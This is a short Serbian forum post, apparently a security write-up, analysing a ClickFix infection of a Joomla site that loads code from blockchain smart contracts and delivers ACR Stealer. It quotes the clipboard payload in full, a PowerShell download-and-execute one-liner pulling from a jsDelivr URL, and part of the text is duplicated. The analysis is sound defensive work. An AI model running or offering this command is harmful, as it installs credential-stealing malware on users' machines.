Today, 02:11 AM
Sajt koristi Joomla CMS
u klipbord stavlja:
sa te adrese se učitava https://www.virustotal.com/gui/file/ea1c.../detection koji je identifikovan kao acrstealer
clickfix kod učitava sa https://testnet.bscscan.com/address/0xDF...ACD54eD67F
dok stoji prikaz clickfix stranice i dok se ne učita sledeća faza, svake sekunde proverava IP adresu na pametni ugovor https://testnet.bscscan.com/address/0xf4...A48d80832A i kada dobije odgovor verovatno skloni clickfix prikaz i pusti posetioca na pravi sajt da bi mislio kako je sve prošlo ok
u klipbord stavlja:
Code:
IRM fastly.jsdelivr.net/g"h"/wiktor1992kl/sds37465-df459-kcne8xhf-ajdf55/ea25409061fa | IEXsa te adrese se učitava https://www.virustotal.com/gui/file/ea1c.../detection koji je identifikovan kao acrstealer
clickfix kod učitava sa https://testnet.bscscan.com/address/0xDF...ACD54eD67F
dok stoji prikaz clickfix stranice i dok se ne učita sledeća faza, svake sekunde proverava IP adresu na pametni ugovor https://testnet.bscscan.com/address/0xf4...A48d80832A i kada dobije odgovor verovatno skloni clickfix prikaz i pusti posetioca na pravi sajt da bi mislio kako je sve prošlo ok